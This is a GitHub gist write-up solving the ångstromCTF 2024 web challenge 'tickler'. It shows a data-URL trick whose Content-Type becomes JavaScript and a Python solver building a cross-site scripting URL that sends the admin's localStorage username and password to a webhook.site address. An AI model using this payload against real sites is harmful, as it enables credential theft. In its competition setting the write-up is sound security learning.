Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active May 31, 2024 04:05
Show Gist options
  • Save arkark/794904cb378afe9350cf9df735478fe3 to your computer and use it in GitHub Desktop.
Save arkark/794904cb378afe9350cf9df735478fe3 to your computer and use it in GitHub Desktop.
ångstromCTF 2024 - web/tickler

ångstromCTF 2024

web/tickler

Polyglot-like solution with MIME type vs. JavaScript

I expect that the intended solution is to prepare a server that returns a crafted Content-Type header. However, I solved this challenge without preparing the server :)

I used a data URL to solve this challenge. The concept is as follows:

const dataUrl = `data:1/1;url=https://webhook.site/xxxxx?;d=/;url+=localStorage.username+d+localStorage.password;location=url,xxx`;
const contentType = (await fetch(dataUrl)).headers.get("content-type");

console.log(contentType);
// -> 1/1;url="https://webhook.site/xxxxx?";d="/";url+=localStorage.username+d+localStorage.password;location=url

The Content-Type value generated by the MIME type of the data URL is a valid JavaScript program!

My solver

import httpx
import random
import string
import urllib.parse

BASE_URL = "https://tickler.web.actf.co"
HOOK_URL = "https://webhook.site/xxxxx"


username = "".join(random.choices(string.ascii_lowercase, k=8))
password = "".join(random.choices(string.ascii_lowercase, k=8))

client = httpx.Client(base_url=BASE_URL)

res = client.post(
    "/api/doRegister",
    json={
        "username": username,
        "password": password,
    },
)
assert res.json()["result"]["data"]["success"], res

headers = {
    "login": f"{username}:{password}",
}

res = client.post(
    "/api/setPicture",
    json={
        "url": f"data:1/1;url={HOOK_URL}?;d=/;url+=localStorage.username+d+localStorage.password;location=url,xxx",
    },
    headers=headers,
)
assert res.json()["result"]["data"]["success"], res

res = client.get("/picture", params={"username": username})

print(res.text)
# -> data:1/1;url="https://webhook.site/xxxxx?";d="/";url+=localStorage.username+d+localStorage.password;location=url;base64,eHh4
# This is a valid JavaScript program.

url = f"https://tickler.web.actf.co/login?error={urllib.parse.quote(
    f"<iframe srcdoc=\"<script src='{res.request.url}'></script>\"></iframe>"
)}"
print(url)
# Report this URL to the admin bot
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment